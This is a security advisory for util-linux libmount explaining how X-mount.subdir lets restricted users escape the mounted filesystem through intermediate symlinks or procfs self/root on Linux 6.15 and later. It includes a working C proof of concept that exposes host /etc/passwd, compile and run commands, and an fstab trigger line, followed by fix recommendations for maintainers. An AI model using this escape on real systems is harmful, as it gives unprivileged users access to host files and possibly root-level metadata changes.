GHSA-8f2p-47x3-43mv
CVE Information
Summary
libmountcurrent HEAD allows restricted-userX-mount.subdir=<path>to use a detached-tree fast path on Linux >= 6.15. In that path, the configured subdirectory string is passed directly toopen_tree()withAT_SYMLINK_NOFOLLOW, but without a beneath/no-intermediate-symlink containment guarantee.AT_SYMLINK_NOFOLLOWdoes not block symlinks in intermediate path components. As a result, an attacker-controlled filesystem or pseudo-filesystem path can causeX-mount.subdirto resolve outside the newly mounted filesystem and attach a host path at the fstab-authorized mountpoint.The primitive was verified locally and on a remote test host with the same
open_tree()flags used by current HEAD. A detached procfs test shows that openingself/root/etcfrom a detachedproctree escapes to the caller's host/etc, andmove_mount()then exposes the host/etc/passwdat the target mountpoint. Exact restricted-user SUID end-to-end validation requires a Linux >= 6.15 host because current HEAD gates the restricted-user detachedX-mount.subdirpath on that kernel version.Details
X-mount.subdir=<directory>is documented as mounting a subdirectory of the newly mounted filesystem. A typical administrator expectation is that if an fstab entry saysX-mount.subdir=safe, then an unprivileged user can only mountsafeinside the mounted filesystem, not an arbitrary path on the host.Relevant source locations:
build/src/sys-utils/mount.8.adoc:804tobuild/src/sys-utils/mount.8.adoc:811Documents
X-mount.subdir=and notes that unprivileged users require Linux >= 6.15 for this feature.
build/src/libmount/src/hook_subdir.c:390Parses the
X-mount.subdiruserspace option.
build/src/libmount/src/hook_subdir.c:338tobuild/src/libmount/src/hook_subdir.c:344- On Linux >= 6.15, current HEAD switches to the detached-tree fast path and assigns the raw subdir string to
api->subdir.On older kernels, restricted users are refused for this path, but the Linux >= 6.15 fast path bypasses that refusal.
build/src/libmount/src/hook_mount.c:303tobuild/src/libmount/src/hook_mount.c:311- Opens the requested subdirectory with:
open_tree(fd, api->subdir, AT_NO_AUTOMOUNT | AT_SYMLINK_NOFOLLOW | AT_RECURSIVE | OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE);
build/src/libmount/src/hook_mount.c:551tobuild/src/libmount/src/hook_mount.c:559- Attaches the resulting tree to the restricted user's pinned target fd with
move_mount().The security issue is that
AT_SYMLINK_NOFOLLOWis not a containment primitive. It only prevents following a symlink in the final path component in some lookup cases; it does not prevent traversal through intermediate symlinks. It also does not provide aRESOLVE_BENEATH-style guarantee that path resolution stays inside the detached tree.Examples of unsafe path shapes:
link/passwd real/../link/passwd self/root/etcIf
linkis a symlink to/etc,link/passwdcan resolve to host/etc/passwd. If the detached filesystem is procfs,self/root/etccan resolve through procfs'self/rootlink to the current process root and then to host/etc.For a restricted SUID
mount(8)operation, this violates the core invariant that the unprivileged user may only attach the fstab-authorized subdirectory of the newly mounted filesystem.PoC
The following PoCs validate the kernel behavior used by the vulnerable libmount path. They are intentionally written as minimal syscall probes so maintainers can see exactly which primitive is unsafe.
Important note: current HEAD only enables the restricted-user
X-mount.subdirdetached fast path on Linux >= 6.15. The primitive below works on older kernels that support the mount fd API, but exact restricted-user SUIDmount(8)end-to-end reproduction needs a Linux >= 6.15 host.PoC A: intermediate symlink traversal with libmount's flags
Create a directory containing a symlink to
/etc, then callopen_tree()using the same flags as current HEAD'shook_mount.csubdir path.Observed saved evidence:
Local/remote open_tree() behavior with the same flags used by libmount hook_mount.c for X-mount.subdir: flags = AT_NO_AUTOMOUNT | AT_SYMLINK_NOFOLLOW | AT_RECURSIVE | OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE Local kernel: Linux 6.8.0-87-generic link/passwd flags=0x88901 -> fd=4 errno=0 Success real/../link/passwd flags=0x88901 -> fd=4 errno=0 Success Remote test host: Linux 5.10.0 link/passwd flags=0x88901 -> fd=4 errno=0 Success real/../link/passwd flags=0x88901 -> fd=4 errno=0 SuccessSaved evidence:
verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/open_tree-symlink-flags-local-remote.logInterpretation: the same flags used by libmount do not stop intermediate symlink traversal. Therefore they are insufficient for implementing a safe restricted
X-mount.subdirboundary.PoC B: detached procfs escape through
self/root/etcThis PoC creates a detached
proctree withfsopen()andfsmount(), then opensself/root/etcfrom the detached tree using the same style ofopen_tree()call used forX-mount.subdir. It then attaches the returned tree to a temporary target usingmove_mount()and readspasswdfrom the target.The PoC source is saved as:
verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/x_mount_subdir_proc_escape.cMinimal source:
#define _GNU_SOURCE #include <sys/syscall.h> #include <sys/stat.h> #include <linux/mount.h> #include <linux/fs.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdlib.h> #ifndef FSCONFIG_CMD_CREATE #define FSCONFIG_CMD_CREATE 6 #endif static int xfsopen(const char *fs, unsigned int flags) { return syscall(SYS_fsopen, fs, flags); } static int xfsconfig(int fd, unsigned int cmd, const char *key, const void *val, int aux) { return syscall(SYS_fsconfig, fd, cmd, key, val, aux); } static int xfsmount(int fd, unsigned int flags, unsigned int attr) { return syscall(SYS_fsmount, fd, flags, attr); } static int xopen_tree(int dfd, const char *path, unsigned int flags) { return syscall(SYS_open_tree, dfd, path, flags); } static int xmove_mount(int from_dfd, const char *from_path, int to_dfd, const char *to_path, unsigned int flags) { return syscall(SYS_move_mount, from_dfd, from_path, to_dfd, to_path, flags); } int main(int argc, char **argv) { const char *target = argc > 1 ? argv[1] : "/tmp/ul_subdir_proc_escape_mnt"; mkdir(target, 0700); int fs = xfsopen("proc", FSOPEN_CLOEXEC); if (fs < 0) { perror("fsopen(proc)"); return 1; } if (xfsconfig(fs, FSCONFIG_CMD_CREATE, NULL, NULL, 0) < 0) { perror("fsconfig(CREATE)"); return 1; } int tree = xfsmount(fs, FSMOUNT_CLOEXEC, 0); if (tree < 0) { perror("fsmount(proc)"); return 1; } unsigned int flags = OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE | AT_SYMLINK_NOFOLLOW | AT_RECURSIVE; int sub = xopen_tree(tree, "self/root/etc", flags); printf("open_tree(detached proc, self/root/etc, flags=0x%x) => %d errno=%d (%s)\n", flags, sub, errno, strerror(errno)); if (sub < 0) return 2; if (xmove_mount(sub, "", AT_FDCWD, target, MOVE_MOUNT_F_EMPTY_PATH) < 0) { perror("move_mount"); return 3; } char path[512]; snprintf(path, sizeof(path), "%s/passwd", target); int fd = open(path, O_RDONLY | O_CLOEXEC); printf("open(%s) => %d errno=%d (%s)\n", path, fd, errno, strerror(errno)); if (fd >= 0) { char buf[80] = {0}; ssize_t n = read(fd, buf, sizeof(buf) - 1); (void) n; printf("first bytes: %.60s\n", buf); close(fd); } close(sub); close(tree); close(fs); return fd >= 0 ? 0 : 4; }Compile and run:
gcc -Wall -O2 x_mount_subdir_proc_escape.c -o /tmp/x_mount_subdir_proc_escape /tmp/x_mount_subdir_proc_escape /tmp/ul_subdir_proc_escape_mntObserved output locally and on a remote test host:
=== local === /tmp/ul_subdir_proc_escape_mnt ext4 rw,relatime open_tree(detached proc, self/root/etc, flags=0x88101) => 5 errno=0 (Success) open(/tmp/ul_subdir_proc_escape_mnt/passwd) => 6 errno=0 (Success) first bytes: root:x:0:0:root:/root:/bin/bash === remote === /tmp/ul_subdir_proc_escape_mnt ext4 rw,relatime open_tree(detached proc, self/root/etc, flags=0x88101) => 5 errno=0 (Success) open(/tmp/ul_subdir_proc_escape_mnt/passwd) => 6 errno=0 (Success) first bytes: root:x:0:0:root:/root:/bin/bashSaved evidence:
verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/x-mount-subdir-procfs-detached-escape-local-remote.logThis proves that a detached tree subpath can resolve outside the intended tree and expose a host path when the subdir string is not constrained with no-symlink/no-beneath semantics.
Expected full restricted-user trigger on Linux >= 6.15
On a Linux >= 6.15 system with SUID
mount(8)from current HEAD, a maintainer should be able to test a restricted-user fstab entry conceptually like:proc /tmp/user-subdir-target proc user,noauto,X-mount.subdir=self/root/etc 0 0or an attacker-controlled filesystem where the configured subdir contains an intermediate symlink escaping to a host path.
Then, as the unprivileged user:
mount /tmp/user-subdir-targetThe expected vulnerable behavior is that the attached target exposes the escaped host path rather than a real subdirectory of the newly mounted filesystem. If combined with
X-mount.owner=,X-mount.group=,X-mount.mode=, or idmap options, follow-on privileged post-mount effects may apply to the escaped host path.Impact
This is a local restricted-mount sandbox/containment escape in SUID
mount(8)configurations that useX-mount.subdir=.Who is impacted:
- Linux systems with SUID-root
/usr/bin/mount.- Systems running util-linux versions with the Linux >= 6.15 restricted-user detached
X-mount.subdirpath.- Administrators who allow unprivileged users to mount filesystems or pseudo-filesystems with fstab entries containing
user/usersandX-mount.subdir=.- Configurations where the user controls the mounted filesystem contents or where the chosen filesystem contains symlink-like escape paths such as procfs
self/root.Security impact:
- An unprivileged user can cause
mount(8)to attach a host path at an fstab-authorized target instead of a subdirectory of the newly mounted filesystem.- The attacker may gain read or traversal access through the mounted view depending on the escaped path and mount options.
- If the fstab entry also uses post hooks such as
X-mount.owner=,X-mount.group=,X-mount.mode=, or idmapped mount options, the impact can escalate from path exposure to root-privileged metadata modification or unexpected idmapped exposure of a host path.Why this is likely security-relevant:
X-mount.subdirpromises a subdirectory of the mounted filesystem. Resolving to/etcor another host path violates that contract.- The restricted-user mode is specifically intended to confine non-root users to fstab-authorized mount operations.
- The current flags are insufficient because
AT_SYMLINK_NOFOLLOWis not equivalent toRESOLVE_BENEATH | RESOLVE_NO_SYMLINKS.Recommended fix:
- For restricted users, reject absolute
X-mount.subdirpaths.- For restricted users, reject
..components inX-mount.subdir.- For restricted users, reject all symlink components in
X-mount.subdir, not just final-component symlinks.- Use a path resolution mechanism equivalent to
RESOLVE_BENEATH | RESOLVE_NO_SYMLINKSrelative to the detached tree. If such a safe resolution cannot be guaranteed, rejectX-mount.subdirfor restricted users even on Linux >= 6.15.- Add regression tests where
X-mount.subdir=safeandsafeor an intermediate component is a symlink to/etc; the restricted-user mount must fail.- Add a procfs regression test for
X-mount.subdir=self/root/etc; the restricted-user mount must fail.